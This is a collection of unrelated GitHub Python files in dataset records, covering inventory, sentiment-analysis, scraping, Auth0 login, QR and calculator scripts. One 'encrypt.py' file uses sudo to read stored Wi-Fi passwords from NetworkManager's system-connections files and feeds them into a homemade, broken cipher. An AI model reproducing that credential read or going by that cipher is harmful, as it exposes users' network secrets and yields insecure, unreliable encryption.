print(f\" The indicated item-ID: \\t{id}\")\r\n print(f\" The indicated sold date: \\t{sold_date}\")\r\n print(f\" The total selling price: \\t{sold_price}\")\r\n sold_flag = \"\"\r\n total_sales = 0.0\r\n\r\n with fileinput.input(files=inventory_file, inplace=True, mode='r') as file:\r\n reader =csv.DictReader(file)\r\n print(\",\".join(reader.fieldnames)) # print back the headers\r\n for row in reader:\r\n if row[\"id\"] == id and row[\"exit_status\"] == \"n\":\r\n row[\"sold_date\"] = sold_date\r\n row[\"sold_price\"]= sold_price\r\n row[\"exit_status\"] = \"sold\"\r\n sold_flag = \"and sold action completed\"\r\n product_name = row[\"product_name\"]\r\n purchase_date = row[\"purchase_date\"]\r\n purchase_amount = row[\"purchase_amount\"]\r\n purchase_price = row[\"purchase_price\"]\r\n # for the sales.csv additional row\r\n id2 = id\r\n sold_date2 = sold_date\r\n sold_price2 = sold_price\r\n exit_status2 = \"sold\"\r\n product_name2 = product_name\r\n purchase_date2 = purchase_date\r\n purchase_amount2 = purchase_amount\r\n purchase_price2 = purchase_price\r\n exit_status = \"sold\"\r\n else:\r\n pass\r\n print(\",\".join([row[\"id\"], row[\"product_name\"],row[\"purchase_date\"], row[\"purchase_amount\"],\r\n row[\"purchase_price\"],row[\"expiration_date\"],row[\"cool_storage\"],\r\n row[\"sold_date\"],row[\"sold_price\"],row[\"exit_status\"]]))\r\n\r\n if sold_flag == \"and sold action completed\":\r\n with fileinput.input(files=sales_file, inplace=True, mode='r') as file:\r\n reader = csv.DictReader(file)\r\n print(\",\".join(reader.fieldnames)) # print back the headers\r\n print(\",\".join([id2, product_name2, purchase_date2, purchase_amount2, purchase_price2, sold_date2, sold_price2,\r\n exit_status2])) # Add sold item to overview BEFORE the rest is shown\r\n total_sales += float(sold_price2)\r\n for row in reader:\r\n print(\",\".join([row[\"id\"], row[\"product_name\"], row[\"purchase_date\"], row[\"purchase_amount\"],\r\n row[\"purchase_price\"],\r\n row[\"sold_date\"], row[\"sold_price\"], row[\"exit_status\"]]))\r\n total_sales += float(row[\"sold_price\"])\r\n else:\r\n pass\r\n\r\n if sold_flag == \"and sold action completed\":\r\n print(f\"\\nTransaction completed; item {id} {sold_flag}\", file=sys.stdout)\r\n total_sales = round(total_sales, 2)\r\n print(f\"\\nTotal sales: \\t\\t\\t{total_sales}\", file=sys.stdout)\r\n print(\"\\n Sales overview:\")\r\n print_tabel(sales_file)\r\n else:\r\n print(f\"\\nTransaction aborted, because item-ID {id} was already sold/expired/non-existing (see inventory report).\", file=sys.stdout)\r\n return\r\n\r\n","repo_name":"PA3EFR/Supermarket_superpy","sub_path":"sell2.py","file_name":"sell2.py","file_ext":"py","file_size_in_byte":4144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"740652266","text":"from distutils.log import debug\nimport requests\nimport json\nimport time\nimport pandas as pd\nimport streamlit as st\nSERVICE_URL = \"http://3.22.185.47:8001/aspect\"\nfrom pyabsa import APCCheckpointManager,ATEPCCheckpointManager\nfrom utils import *\nfrom utils import get_cluster_score,get_pro_con_list\nfrom sklearn.metrics import pairwise_distances_argmin_min\nimport pathlib\nimport os\ndebug = False\ntry:\n with open(config_path,'r') as f:\n config_param = json.loads(f.read())\n debug = config_param['debug']\nexcept Exception as e:\n if debug:\n # st.write(e)\n pass\naspect_extractor_checkpoint = os.path.join(pathlib.Path(__file__).parent.resolve(),'fast_lcf_atepc_English_cdw_apcacc_80.16_apcf1_78.34_atef1_75.39.zip')\nsent_classifier_checkpoint = os.path.join(pathlib.Path(__file__).parent.resolve(),'fast_lsa_t_acc_84.84_f1_82.36.zip')\n@st.cache(allow_output_mutation=True)\ndef get_models():\n # gdown.download(url1,output1, quiet=True)\n # gdown.download(url2,output2, quiet=True)\n aspect_extractor = ATEPCCheckpointManager.get_aspect_extractor(checkpoint=aspect_extractor_checkpoint,auto_device=False) # False means load model on CPU \n sent_classifier = APCCheckpointManager.get_sentiment_classifier(checkpoint=sent_classifier_checkpoint,auto_device=False) # Use CUDA if available\n return aspect_extractor,sent_classifier\ndef tokens_to_aspect(tokens,position):\n j = 0\n i = 0\n final_string = ''\n while(j1:\n aspect = \" \".join(tokens[position[j][0] : position[j][-1]+1])\n term = \"[ASP] \"+aspect+\" [ASP]\"\n elif(i==position[j][0] and len(position[j])==1):\n term = \"[ASP] \"+tokens[position[j][0]]+\" [ASP]\"\n else:\n term = tokens[i]\n final_string = final_string + \" \" +term\n # print(final_string)\n i+=1\n if i > position[j][0]:\n j+=1\n return final_string\n\ndef aspect_polarity_extractor(inference_source):\n atepc_result = aspect_extractor.extract_aspect(inference_source=inference_source, #\n save_result=True,\n print_result=False, # print the result\n pred_sentiment=True, # Predict the sentiment of extracted aspect terms\n )\n examples = [ tokens_to_aspect(d['tokens'],d['position']) for d in atepc_result if d['aspect'] ]\n result= []\n for example in examples:\n try:\n r = sent_classifier.infer(example)\n result.append(r)\n except Exception as e:\n print(e)\n continue\n return result\n\ndef get_aspect_score(aspect,sentiments):\n num_entries = len(sentiments)\n # Sum of sentiments [1, 5] about that topic \n ctr_value = sum(sentiments)\n\n # This is how much if every review was negative for that topic\n min_val = -1 * num_entries\n\n # This is how much if every review was positive for that topic\n max_val = 1 * num_entries\n\n # Normalize counters\n ctr_value -= min_val\n max_val -= min_val\n # Calculate percentage\n perc = round((ctr_value / max_val) * 100.0)\n return perc\n\ndef get_highest_count_aspect(aspects,aspect_review_count):\n return sorted(aspects, key=lambda x: aspect_review_count[x], reverse=True)[0]\n\ndef get_similar_clusters(product1_clusters,product2_clusters):\n # st.write(product1_clusters,product2_clusters)\n similarity_matrix = {}\n #find similiarity score for each cluster of product 1 with each cluster of product 2\n for token1 in product1_clusters:\n for token2 in product2_clusters:\n score = nlp(token1).similarity(nlp(token2))\n if score > 0.55:\n similarity_matrix[(token1,token2)] = score\n similarity_matrix = sorted(similarity_matrix.items(), key=lambda t: t[1], reverse=True)\n # if debug:\n # st.write(\"similarity_matrix\",similarity_matrix)\n product1_selected = {}\n product2_selected = {}\n selected_pair = []\n # st.write(similarity_matrix)\n #find best matching for product 1 cluster to product 2 cluster\n for k,v in similarity_matrix:\n if k[0] not in product1_selected and k[1] not in product2_selected:\n product1_selected[k[0]]=True\n product2_selected[k[1]]=True\n selected_pair.append(k)\n return selected_pair \n\naspect_extractor,sent_classifier = get_models()\nload_nlp = time.time()\nnlp = init_spacy_lg()\nloaded_nlp = time.time()\n# st.write(\"Spacy loading time\",loaded_nlp-load_nlp)\n\ndef get_review_list(review_list):\n review_text = list()\n ctr = 0\n for review in review_list:\n # if ctr > 2:\n # break\n if review[\"reviewText\"]:\n review_text.append(review[\"reviewText\"])\n ctr += 1\n return review_text\n\ndef get_aspects(review_text):\n # review_list = reviews['reviews']\n # review_text = get_review_list(review_list)\n # st.write(review_text)\n # with st.spinner('Extracting Aspects and Polarity'):\n aspect_extraction_start = time.time()\n result = aspect_polarity_extractor(review_text)\n data = [ r[0] for r in result ]\n data = [{'text':d['text'],'aspect':d['aspect'],'sentiment':d['sentiment']} for d in data]\n aspect_extraction_end = time.time()\n data = pd.DataFrame(data)\n # data.to_csv(\".csv\")\n # st.write(data)\n aspect_scoring_start = time.time()\n sentiment_score_mapping = {'Positive':1,'Neutral':0,'Negative':-1}\n aspect_mappings = {}\n for i, row in data.iterrows():\n for aspect, sentiment in zip(row['aspect'], row['sentiment']):\n aspect = aspect.strip()\n if aspect in aspect_mappings.keys():\n aspect_mappings[aspect].append(sentiment_score_mapping[sentiment])\n else:\n aspect_mappings[aspect] = []\n aspect_mappings[aspect].append(sentiment_score_mapping[sentiment]) \n unique_aspects = aspect_mappings.keys()\n aspect_review_count = {}\n aspect_score = {}\n for k in aspect_mappings:\n score = get_aspect_score(k,aspect_mappings[k])\n aspect_review_count[k] = len(aspect_mappings[k])\n aspect_score[k] = score\n aspect_review_count = dict(sorted(aspect_review_count.items(), key=lambda item: item[1],reverse=True))\n from collections import OrderedDict\n aspect_score = OrderedDict(list(sorted(aspect_score.items(), key=lambda item : item[1],reverse=True))) \n aspect_scoring_end = time.time()\n clustering_start = time.time()\n algo = \"DBSCAN\"\n stopwords = nlp.Defaults.stop_words\n unique_aspects = [aspect for aspect in unique_aspects if (aspect not in stopwords) and (len(str(aspect))>1)]\n aspect_labels,cluster_centers_,asp_vectors = get_word_clusters(unique_aspects, nlp,algo)\n # if debug:\n # st.write(\"aspect_labels\",aspect_labels)\n # aspect_labels,cluster_centers_,asp_vectors\n asp_to_cluster_map = dict(zip(unique_aspects, aspect_labels))\n index_aspect_mapping = {}\n for i,a in enumerate(list(unique_aspects)):\n index_aspect_mapping[i]=a\n clustering_end = time.time()\n cluster_title= {}\n if algo==\"kmeans\":\n closest, _ = pairwise_distances_argmin_min(cluster_centers_, asp_vectors)\n print(closest)\n for i,p in enumerate(closest):\n cluster_title[i] = index_aspect_mapping[p]\n st.write(cluster_title)\n label_aspect_list = {}\n for aspect in asp_to_cluster_map:\n # st.write(aspect,asp_to_cluster_map[aspect])\n if algo==\"kmeans\":\n label = cluster_title[int(asp_to_cluster_map[aspect])]\n else:\n label = int(asp_to_cluster_map[aspect])\n if label in label_aspect_list:\n label_aspect_list[label].append(aspect)\n else:\n label_aspect_list[label] = []\n label_aspect_list[label].append(aspect)\n # st.write(label_aspect_list) \n if algo==\"DBSCAN\":\n for k,v in label_aspect_list.items():\n if k == -1:\n continue\n cluster_title[k]=get_highest_count_aspect(v,aspect_review_count)\n label_aspect_list_db = {}\n for k,v in label_aspect_list.items():\n if k == -1:\n continue\n label_aspect_list_db[cluster_title[k]] = v\n label_aspect_list = label_aspect_list_db\n # st.write(cluster_title)\n # st.write(label_aspect_list)\n # st.write(\"Aspect Scoring time\",aspect_scoring_end-aspect_scoring_start)\n # st.write(\"Clustering time\",clustering_end-clustering_start)\n # st.write(\"Aspect polarity extraction time\",aspect_extraction_end-aspect_extraction_start)\n cluster_scores = get_cluster_score(label_aspect_list,aspect_score)\n # st.write(cluster_scores)\n return label_aspect_list,cluster_scores\n\ndef get_pro_con(body):\n import requests\n url = \"http://3.22.185.47:8001/procon_ext\"\n payload = json.dumps(body)\n headers = {\n 'Content-Type': 'application/json'\n }\n response = requests.request(\"POST\", url, headers=headers, data=payload)\n pro_con_list = json.loads(response.text)\n pro_con_list = get_pro_con_list(pro_con_list)\n \n # algo = \"kmeans\"\n # stopwords = nlp.Defaults.stop_words\n # st.write(pro_con_list)\n # pro_con_list_ = [aspect for aspect in pro_con_list if (aspect not in stopwords) and (len(str(aspect))>1)]\n # aspect_labels,cluster_centers_,asp_vectors = get_word_clusters(pro_con_list_, nlp,algo)\n # st.write(aspect_labels,cluster_centers_,asp_vectors) \n return pro_con_list\n","repo_name":"Oogway-Technologies/evaluate_app","sub_path":"src/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":9314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"39727333456","text":"import bs4 as bs\nimport urllib.request\nimport requests\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\n\nclass Spider():\n\n def __init__(self, url):\n self.url = url\n\n def getStaticSoup(self):\n # START option 1 Requests\n # content = requests.get(self.url).text\n # END option 1\n\n # START option 2 urllib.request\n content = urllib.request.urlopen(self.url).read()\n # END option 2\n\n soup = bs.BeautifulSoup(content, \"html.parser\")\n return soup\n\n def getDynamicSoup(self):\n # START option 1: Firefox\n # driver = webdriver.Firefox() # opens firefox\n # End option 1\n\n # START option 2: PhantomJS\n # driver = webdriver.PhantomJS() # deprecated\n # END option 2\n\n # START option 3: Headless Chromium\n options = webdriver.ChromeOptions()\n options.add_argument('headless')\n driver = webdriver.Chrome(chrome_options=options)\n driver.get(self.url)\n # END option 3\n\n content = driver.page_source\n soup = bs.BeautifulSoup(content, \"html.parser\")\n driver.close()\n return soup\n\n\nif __name__ == \"__main__\":\n url = \"https://www.iherb.com\"\n x = Spider(url)\n\n # Static Content\n # print(x.getStaticSoup())\n\n # Dynamic Content\n print(x.getDynamicSoup())\n","repo_name":"brendenvogt/PYderman","sub_path":"src/Spider.py","file_name":"Spider.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"20891506829","text":"#Богомаз Алексей\r\n\r\nimport tkinter as tk\r\nfrom tkinter import messagebox\r\nimport math as mt\r\n\r\nclass Window:\r\n\r\n __result_text = \"ДЛЯ ВЫЧИСЛЕНИЯ ПОТРЕБНОЙ ТЯГИ СИЛОВОЙ \\nУСТАНОВКИ БЛА ВВЕДИТЕ ЗНАЧЕНИЯ \\nИ НАЖМИТЕ КНОПКУ \\\"ВЫЧИСЛИТЬ\\\"\"\r\n __text_sample = \"ИЗМЕНЕНИЕ ОТ ПОТРЕБНОЙ ТЯГИ СИЛОВОЙ УСТАНОВКИ ПРИ ЗАДАННОМ (Cx): \"\r\n __labels = [\r\n \"ВЕС Л/А(gramm): \",\r\n \"ПЛОЩАДЬ КРЫЛА Л/А(dm2): \",\r\n \"КОЭФФИЦИЕНТ СОПРОТИВЛЕНИЯ (Cx): \",]\r\n __entry = []\r\n\r\n def __init__(self, resizable=(False, False)):\r\n self.window = tk.Tk()\r\n self.window.title(\"Форма для расчёта\") \r\n self.window.resizable(resizable[0], resizable[1])\r\n self.frm_form=tk.Frame(borderwidth=4)\r\n self.frm_form.pack()\r\n self.text_field = tk.Text(width=120, height=4)\r\n self.text_field.insert(1.0, self.__result_text)\r\n for idx, text in enumerate(self.__labels):\r\n self.label = tk.Label(master=self.frm_form, width=50, text=text, anchor=\"e\")\r\n self.__entry.append(tk.Entry(master=self.frm_form, width=50))\r\n self.label.grid(row=idx, column=0,)\r\n self.__entry[idx].grid(row=idx, column=1,)\r\n frm_buttons = tk.Frame()\r\n frm_buttons.pack(fill=tk.X, ipadx=5, ipady=5)\r\n btn_sub=tk.Button(master=frm_buttons, text='Вычислить', command=lambda: self.onClickEntry(self.__entry, self.text_field))\r\n btn_sub.pack(side=tk.RIGHT, padx=30)\r\n self.text_field.pack()\r\n\r\n def isfloat(self, num):\r\n try:\r\n float(num)\r\n return True\r\n except ValueError:\r\n return False\r\n \r\n def onClickEntry(self, entry,text):\r\n lst = []\r\n __p=1.23\r\n for i in range(len(entry)):\r\n if self.isfloat(entry[i].get()):\r\n lst.append(float(entry[i].get()))\r\n else: \r\n messagebox.showerror('Ошибка ввода', 'Ошибка: Введите численное значение')\r\n υ= mt.sqrt(2*lst[0]/lst[1]*__p*lst[2])\r\n h_p=υ/75\r\n Wt=h_p*735.5\r\n r_Wt=round(Wt/1000, 2)\r\n text.delete('1.0', 'end')\r\n text.insert(4.0, f\"{self.__text_sample} {round(υ, 3)} kg/sec\\n\")\r\n text.insert(4.0, f\"{self.__text_sample} {round(h_p, 3)} h/p\\n\")\r\n text.insert(4.0, f\"{self.__text_sample} {round(Wt, 3)} Wt\\n\" )\r\n text.insert(4.0, f\"{self.__text_sample} {round(r_Wt,3)} kWt\")\r\n \r\n def run(self):\r\n self.window.mainloop()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n window = Window()\r\n window.run()\r\n","repo_name":"AlexBahamaz/It_courses","sub_path":"tkinter_1button_3entries_class.py","file_name":"tkinter_1button_3entries_class.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15160026050","text":"import qrcode\r\nfrom PIL import Image\r\n\r\nqr = qrcode.QRCode(version=1 , \r\n error_correction = qrcode.constants.ERROR_CORRECT_H,\r\n box_size = 10 , border = 4,)\r\n\r\nqr.add_data(\"https://www.youtube.com/playlist?list=PL08903FB7ACA1C2FB\")\r\nqr.make(fit = True)\r\nimg = qr.make_image(fill_color = \"blue\" , back_color=\"black\")\r\nimg.save(\"SQL-Server_youtube2.png\")","repo_name":"Jinalp1011/Projects","sub_path":"QR_code2.py","file_name":"QR_code2.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"20350179394","text":"##############\n'''\n Author: Vaibhav Khaitan\n Date: July 2016\n Scrape Stock data using Yahoo Finance API\n Script asks user for Stock symbol and starting year\n Script outputs a CSV file with open/high/low/close/volume for given stock\n'''\n##############\n\nimport datetime\nimport pandas as pd\nimport shutil\nimport csv\nimport os\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nfrom pandas import DataFrame\nfrom pandas_datareader import data as dr\nfrom pyalgotrade.barfeed import yahoofeed\n\nmonth = 12\nbusiness_days = 20\n\nmonths = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']\n\n#Ask user to input ticker\nthe_stock = raw_input('Enter Stock Ticker Code: \\n')\nthe_stock = the_stock.upper().strip()\nsymbols_list = [the_stock]\n\n#Asks user to input starting year\nyear = raw_input('Enter starting year: \\n')\nthe_year = year.strip()\nyear = year.strip()\n\n#Ask user if they want ascending order or descending order\nprint ('Enter 1 if you want the oldest prices at the top. \\n')\nasc = raw_input('Enter 0 if you want the most recent prices at the top: \\n')\nasc = int(asc)\nnow = datetime.datetime.now()\nf = symbols_list[0] + '-Scraped_' + str(now.hour) + '-' + str(now.minute) + '.csv';\n\nif os.path.isfile(f) == False:\n\n symbols=[]\n #fix for bug when user inserts current year as starting year\n is_today = 0;\n year = int(year)\n\n if(year == now.year):\n year = year - 1\n is_today = 1;\n\n #Getting the Data for each day\n for ticker in symbols_list:\n print( ticker)\n i,j = 0,0\n\n for i in range (0,month):\n print( months[i])\n\n for j in range(0,business_days):\n\n print( j+1)\n\n #Use Yahoo Finance API to retrive stock data for given day and month\n temp = dr.DataReader(ticker, \"yahoo\", start=datetime.datetime(year, i+1, j+1))\n\n temp['Symbol'] = ticker\n symbols.append(temp)\n j += 1\n\n i += 1\n\n df = pd.concat(symbols)\n\n cell= df[['Open','High','Low','Close','Volume']]\n cell.reset_index().sort_values(['Date'], ascending=[asc]).set_index('Date').to_csv(symbols_list[0]+'.csv', date_format='%d/%m/%Y')\n\n\n #Naming Files\n inFile = open(symbols_list[0]+'.csv', 'r')\n symbols_list[0] + '-Scraped_' + str(now.hour) + '-' + str(now.minute) + '.csv';\n outFile = open(f, 'w')\n\n #Removing Duplicates and implementation for bug fix\n listLine = []\n the_year = '/' + the_year\n\n for line in inFile:\n\n #Keep the first line\n if line.startswith('Date'):\n outFile.write(line)\n listLine.append(line)\n\n if line in listLine:\n continue;\n\n if is_today == 1 and the_year not in line:\n continue;\n\n else:\n outFile.write(line)\n listLine.append(line)\n\n outFile.close()\n inFile.close()\n os.remove(symbols_list[0]+'.csv')\n\n #Saves file in Datasets folder\n shutil.move(f, \"Datasets/\")\n print( \"Finished writing - Check Datasets Folder\")\n\n######################################################\n","repo_name":"bharathikumar-rs/nse-streaming","sub_path":"Stock-Analysis/Stock-Analysis-1.0.0/Stock Scrapers/Yahoo Finance Single Stock Scraper.py","file_name":"Yahoo Finance Single Stock Scraper.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"30000508757","text":"import json\nfrom os import environ as env\nfrom urllib.parse import quote_plus, urlencode\n\nfrom authlib.integrations.flask_client import OAuth\nfrom dotenv import find_dotenv, load_dotenv\nfrom flask import Flask, redirect, render_template, session, url_for, request, make_response, redirect\nimport requests\n\n\nENV_FILE = find_dotenv()\nif ENV_FILE:\n load_dotenv(ENV_FILE)\n\napp: Flask = Flask(__name__)\napp.secret_key: str = env.get(\"APP_SECRET_KEY\")\n\noauth: OAuth = OAuth(app)\n\n# registration info common to all apps\noauth.register(\n \"auth0\",\n client_id=env.get(\"AUTH0_CLIENT_ID\"),\n client_secret=env.get(\"AUTH0_CLIENT_SECRET\"),\n client_kwargs={\n \"scope\": \"openid profile email\",\n },\n server_metadata_url=f'https://{env.get(\"AUTH0_DOMAIN\")}/.well-known/openid-configuration',\n)\n\n\n################################### \n# only used in login app\n################################### \n@app.route(\"/\")\ndef home():\n access_token = session.get(\"access_token\")\n if access_token:\n userinfo = requests.get(f\"https://{env.get('AUTH0_DOMAIN')}/userinfo\",params={\"access_token\": access_token}).content\n print(userinfo)\n return render_template(\n \"home.html\",\n #session=session.get(\"userinfo\"),\n session = access_token\n #pretty=json.dumps(session.get(\"userinfo\"), indent=4),\n )\n\n\n################################### \n# only used in login app\n################################### \n@app.route(\"/login\")\ndef login():\n return oauth.auth0.authorize_redirect(\n redirect_uri=url_for(\"callback\", _external=True, _scheme=env.get(\"URL_SCHEME\"))\n )\n\n################################### \n# only used in login app\n################################### \n@app.route(\"/callback\", methods=[\"GET\", \"POST\"])\ndef callback():\n token = oauth.auth0.authorize_access_token()\n print(token)\n #print(token[\"access_token\"])\n #userinfo = oauth.auth0.userinfo()\n #print(userinfo)\n #session[\"userinfo\"] = token[\"userinfo\"]\n session[\"access_token\"] = token[\"access_token\"]\n return redirect(\"/\")\n\n################################### \n# only used in login app\n################################### \n@app.route(\"/logout\")\ndef logout():\n session.clear()\n return redirect(\n \"https://\"\n + env.get(\"AUTH0_DOMAIN\")\n + \"/v2/logout?\"\n + urlencode(\n {\n \"returnTo\": url_for(\n \"home\", _external=True, _scheme=env.get(\"URL_SCHEME\")\n ),\n \"client_id\": env.get(\"AUTH0_CLIENT_ID\"),\n },\n quote_via=quote_plus,\n )\n )\n\n\n################################### \n# only used in verify step app\n################################### \n@app.route(\"/verify\")\ndef verify():\n # save state in cookie\n state = request.args.get(\"state\")\n #print(\"state: \" + state)\n \n resp = make_response(render_template(\n \"verify.html\",\n continue_url = url_for(\n \"verify_continue\", _external=True,\n _scheme=env.get(\"URL_SCHEME\")\n )\n ))\n\n resp.set_cookie(\"verify_state\", state)\n\n return resp\n\n################################### \n# only used in verify step app\n################################### \n@app.route(\"/verify-continue\")\ndef verify_continue():\n # retrieve state and /continue\n state = request.cookies.get(\"verify_state\")\n #print(\"second state: \" + state)\n\n continue_uri = f\"https://{env.get('AUTH0_DOMAIN')}/continue?state={state}\"\n\n resp = make_response(redirect(continue_uri, code=302))\n \n resp.delete_cookie(\"verify_state\")\n \n return resp\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=int(env.get(\"PORT\")))\n","repo_name":"hubbins/py-auth0-2","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"21386510054","text":"#!/bin/bash\nfrom subprocess import Popen,PIPE,call,check_output\nimport hashlib\nimport random\nimport math\nfrom random import randrange\n\ndef wifisalt():\n\tdef swap(a,b,salt):\n\t temp1=salt[a]\n\t temp2=salt[b]\n\t salt[b]=temp1\n\t salt[a]=temp2\n\t return\n\n\tprocess2=Popen(['iwgetid'],stdin=PIPE,stdout =PIPE)\n\tstdout,stderr=process2.communicate()\n\tstdout=str(stdout)\n\tstdout=stdout.split('\"')\n\tssid=stdout[1]\n\tCOMMAND_LINUX = \"sudo ls /etc/NetworkManager/system-connections/ | grep \"+stdout[1]+\" \"\n\toutput = check_output(COMMAND_LINUX,shell=True)\n\touutput=str(output)\n\twname = ouutput[2:-3]\n\tCOMMAND_LINUX = \"sudo cat /etc/NetworkManager/system-connections/\"+wname\n\toutput = check_output(COMMAND_LINUX,shell=True)\n\toutput=output.splitlines()\n\tuuid=str(output[2]).split('=')\n\tuuidfinal=str(uuid[1]).strip(\" - \")\n\tuuidfinal=uuidfinal.strip(\" ' \")\n\tif 'psk' in str(output[16]):\n\t password=str(output[16]).split('=')\n\t passwordfinal=str(password[1]).strip(\" ' \")\n\telse:\n\t passwordfinal=uuidfinal\n\n\tsalt=ssid+\" \"+uuidfinal+\" \"+passwordfinal\n\n\n\tlength=len(salt)\n\tlength=int(length/4)\n\tsalt=list(salt)\n\tfor x in range (length):\n\t swap(4*x+1,4*x+2,salt)\n\t swap(4*x,4*x+3,salt)\n\t swap(4*x,4*x+1,salt)\n\n\tsalt=''.join(salt)\n\tsalt=salt.encode('utf-8')\n\tsalt=salt.hex()\n\n\t#print(salt)\n\n\trand=str(random.randint(0,1000000))\n\n\tpepper=hashlib.md5(rand.encode())\n\tpepper=pepper.hexdigest()\n\t#print(len(str(pepper)))\n\tsalt=salt+str(pepper)\n\n\tnum=0\n\tfor i in salt:\n\t num=num+ord(i)\n\t \n\treturn num \n\ndef decimalToBinary(n):\n rep = '' \t\n while n > 0: \n rep += str(n%2)\n n = n//2\n return int(rep[::-1])\n\ndef binaryToDecimal(binary):\n binary = int(binary, 2)\n return int(binary)\n\n# def rxor(a,b):\n# x = max(a,b)\n# y = min(a,b)\n# diff = len(str(x))-len(str(y))\n# temp = int(y)*pow(10,diff)\n# if diff != 0:\n# \t temp += y//pow(10,(len(str(y))-diff))\n# y = temp\n# result = ''\n# for i in range(len(str(x))):\n# result += str(int(str(x)[i])^int(str(y)[i]))\n# return result\n\ndef nthprime(p):\n no= int(p)\n infile = open('primes.txt', 'r')\n lines = infile.readlines()\n count = 0\n for line in lines:\n count+=1\n if count is no:\n return number\n infile.close()\n return 0\n\na1 = (input('Enter Message: '))\na=0\n\nfor i in a1:\n a=a+ord(i)\n a=a*1000\n#print(a)\n# a is message\nle=len(str(decimalToBinary(a)))\nb = wifisalt()\n#b is wifi salt\n\nprint(\"---------Encrytion---------\")\n\nul=int('0b111111111',2) #upper limit of random value\nll=int('0b1111',2) #lower limit of random value\nd=random.randrange(ll,ul) #random value \ny=a^b \npo=1\nfor i in range(int(d)):\n po=i*d\n po=po%100000\n y=y^po\n#xored with every prime\ndy=str(decimalToBinary(d))\nwhile len(dy) is not 9:\n dy = '0'+dy\ndy = int('1' + dy)\n#10 digit binary of random\ndy = int(str(dy) + str(decimalToBinary(y)))\n#appended random\ndx=str(decimalToBinary(le))\nwhile len(dx) is not 26:\n dx = '0'+dx\n # print(\"inside-loop\")\ndx = int('1' + dx)\n#converted binary length to 27 digits\ndx='0b'+str(dx)\ndx=int(dx,2)\ndx=str(decimalToBinary(dx))\ndx = int(dx+ str(dy))\ndx='0b'+str(dx)\n#print(dx)\ndx=int(dx,2)\ndx=dx*1000\ndx=dx+d\nprint(\"Your encrypted message: \", dx) #decimal of the encrypted binary\n\n\n\n\n\n","repo_name":"vijeta1/enc-dec-wifi","sub_path":"encrypt.py","file_name":"encrypt.py","file_ext":"py","file_size_in_byte":3274,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"5387180731","text":"import os\n\nfrom rbuild_test import rbuildhelp\nfrom testutils import mock\n\nfrom rbuild import errors\nfrom rbuild import ui\nfrom rbuild.productstore import dirstore\n\n\nclass StatusTest(rbuildhelp.RbuildHelper):\n def testStatusCommandArgParsing(self):\n self.getRbuildHandle() # required for test to run alone\n self.checkRbuild('status --concise --all --product',\n 'rbuild_plugins.status.StatusCommand.runCommand',\n [None, None, {'concise' : True,\n 'all' : True,\n 'product' : True},\n ['rbuild', 'status']])\n self.checkRbuild('status --verbose --no-product',\n 'rbuild_plugins.status.StatusCommand.runCommand',\n [None, None, {'verbose' : True,\n 'no-product' : True},\n ['rbuild', 'status']])\n self.checkRbuild('status --local',\n 'rbuild_plugins.status.StatusCommand.runCommand',\n [None, None, {'local' : True},\n ['rbuild', 'status']])\n self.checkRbuild('status --repository',\n 'rbuild_plugins.status.StatusCommand.runCommand',\n [None, None, {'repository' : True},\n ['rbuild', 'status']])\n\n def testStatusCommandParsing(self):\n handle = self.getRbuildHandle()\n from rbuild_plugins import status\n handle.Status.registerCommands()\n handle.Status.initialize()\n cmd = handle.Commands.getCommandClass('status')()\n mock.mockMethod(handle.Status.printDirectoryStatus)\n mock.mock(dirstore, 'getDefaultProductDirectory')\n mock.mock(handle.facade.conary, 'isConaryCheckoutDirectory')\n cwd = os.getcwd()\n\n dirstore.getDefaultProductDirectory._mock.setDefaultReturn('asdf')\n handle.facade.conary.isConaryCheckoutDirectory._mock.setDefaultReturn(\n False)\n cmd.runCommand(handle, {'all': True}, ['rbuild', 'status'])\n handle.Status.printDirectoryStatus._mock.assertCalled('asdf',\n verbosity=status.DEFAULT, product=True,\n local=True, repository=True)\n handle.facade.conary.isConaryCheckoutDirectory._mock.assertCalled(cwd)\n\n dirstore.getDefaultProductDirectory._mock.setDefaultReturn('blah')\n handle.facade.conary.isConaryCheckoutDirectory._mock.setDefaultReturn(\n False)\n cmd.runCommand(handle, {'no-product': True, 'concise': True},\n ['rbuild', 'status', 'asdf'])\n handle.Status.printDirectoryStatus._mock.assertCalled('asdf',\n verbosity=status.CONCISE, product=False,\n local=True, repository=True)\n handle.facade.conary.isConaryCheckoutDirectory._mock.assertCalled(cwd)\n\n handle.facade.conary.isConaryCheckoutDirectory._mock.setDefaultReturn(\n True)\n cmd.runCommand(handle, {'verbose': True},\n ['rbuild', 'status'])\n handle.Status.printDirectoryStatus._mock.assertCalled(cwd,\n verbosity=status.VERBOSE, product=False,\n local=True, repository=True)\n\n handle.facade.conary.isConaryCheckoutDirectory._mock.setDefaultReturn(\n True)\n cmd.runCommand(handle, {'local': True},\n ['rbuild', 'status'])\n handle.Status.printDirectoryStatus._mock.assertCalled(cwd,\n verbosity=status.DEFAULT, product=False,\n local=True, repository=False)\n\n handle.facade.conary.isConaryCheckoutDirectory._mock.setDefaultReturn(\n True)\n cmd.runCommand(handle, {'repository': True},\n ['rbuild', 'status'])\n handle.Status.printDirectoryStatus._mock.assertCalled(cwd,\n verbosity=status.DEFAULT, product=False,\n local=False, 